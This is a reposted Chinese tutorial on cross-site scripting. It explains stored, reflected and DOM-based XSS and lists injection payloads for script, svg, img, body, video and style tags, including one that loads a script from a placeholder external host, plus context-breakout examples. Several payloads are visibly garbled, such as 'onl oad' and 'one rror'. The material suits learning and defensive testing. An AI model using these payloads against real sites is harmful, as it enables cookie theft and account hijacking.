ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

XSS详解

2022-02-10 02:31:07  阅读:267  来源: 互联网

标签:XSS 标签 用户 站点 详解 hack 输入


XSS详解

参考文章:XSS(跨站脚本攻击)详解 - 墨鱼菜鸡 - 博客园 (cnblogs.com)

简介

​ XSS,即跨站脚本攻击,英文全称Cross Site Scripting,为了与层叠样式表CSS相区别,才规定跨站脚本的攻击缩写为XSS。

​ XSS往往使恶意攻击者往Web页面插入恶意Script代码,当用户浏览该页面时,嵌入Web里的Script代码才会被执行,从而达到恶意攻击的目的。XSS攻击往往是针对用户层面的。

​ XSS分为存储型、反射性、DOM型XSS

存储型XSS

​ 存储型XSS,持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方插入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面时触发代码执行。这种XSS比较危险,容易造成蠕虫,盗窃cookie。

​ 攻击流程:

  1. 假如A拥有一个Web站点,该站点允许用户发布信息,浏览已发布的信息。

  2. B检测到A的站点存在存储型XSS漏洞。

  3. B在A的网站上发布一个带有恶意脚本的信息,该信息存储在了A的服务器上,然后吸引其他用户来点击该站点。

  4. A或者是其他人如C在浏览该站点之后,A的恶意脚本就会执行。

  5. A的恶意脚本执行后,A就可以对该用户C发起XSS攻击。

反射型XSS

​ 反射型XSS是非持久化的,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。反射型XSS大多数是用来盗取用户cookie信息的。

​ 攻击过程:

  1. 受害者C经常浏览某个网站,且此网站为A所有。而A的站点需要C使用用户名/密码进行登录,并存储了A的敏感信息。

  2. B发现发现A的站点存在反射型漏洞

  3. B利用A网站的反射型XSS漏洞编写一个exp,做成链接的形式,并利用各种手段引诱使C点击

  4. C在登录到A的站点后,浏览了B的恶意链接

  5. 嵌入到恶意链接中的恶意脚本在C的浏览器中执行,此脚本盗窃敏感信息(cookie,账号信息等)。在C完全不知情的情况下将这些信息发给B

  6. B利用获取到的cookie就可以以C的身份登录到A的站点。

DOM型XSS

​ DOM型XSS,不经过后端,基于文档对象模型(Document Object Model,DOM)的一种漏洞,DOM-XSS是通过url传入参数去控制触发的,其实也属于反射型XSS

​ 可能触发DOM型XSS的属性


document.referer
window.name
location
innerHTML
document.write
......

​ 利用createElement():

​ 先在kali监听1234端口

​ 然后在DVMA中输入

​ 在kali中可以看到cookie信息

​ 利用innnerHTML:

​ 用于篡改页面

XSS的攻击载荷

​ 以下所有标签的>都可以用//代替

​ <script>标签:最直接的XSS有效载荷,脚本标记可以引用外部的JavaScript代码,也可以将代码插入到脚本标记中。


<script>alert("hack")</script>         #弹出hack
<script>alert(/hack/)</script>         #弹出hack
<script>alert(1)</script>     #弹出1
<script>alert(document.cookie)</script>   #弹出cookie
<script src=http://xxx.com/xss.js></script>#引用外部xss

​ svg标签


<svg onl oad="alert(1)">
<svg onl oad="alert(1)"//

​ <img>标签


<img src=1 one rror=alert("hack")>
<img src=1 one rror=alert(document.cookie)>

​ <body>标签


<body onl oad=alert(1)>
<body onpageshow=alert(1)>

​ video标签


<video onl oadstart=alert(1 src="/media/hack-the-planet.mp4")>

​ style标签


<style onl oad=alert(1)></style>

​ 那么这些XSS可以插在哪里呢

  • 用户输入作为script标签内容

  • 用户输入作为HTML注释内容

  • 用户输入作为HTML标签的属性名

  • 用户输入作为HTML标签的属性值

  • 用户输入作为HTML标签的名字

  • 直接插入到CSS里


#用户输入作为HTML注释内容,导致攻击者可以进行闭合绕过
<!-- 用户输入 -->
<!-- --><script>alert('hack')</script><!-- -->

#用户输入作为标签属性名,导致攻击者可以进行闭合绕过
<div 用户输入="xx"> </div>
<div ></div><script>alert('hack')</script><div a="xx"> </div>

#用户输入作为标签属性值,导致攻击者可以进行闭合绕过
<div id="用户输入"></div>
<div id=""></div><script>alert('hack')</script><div a="x"></div>

#用户输入作为标签名,导致攻击者可以进行闭合绕过
<用户输入 id="xx" />
<><script>alert('hack')</script><b id="xx" />

#用户输入作为CSS内容,导致攻击者可以进行闭合绕过
<style>用户输入<style>
<style> </style><script>alert('hack')</script><style> </style>

 

标签:XSS,标签,用户,站点,详解,hack,输入
来源: https://www.cnblogs.com/Samforrest/p/15877607.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有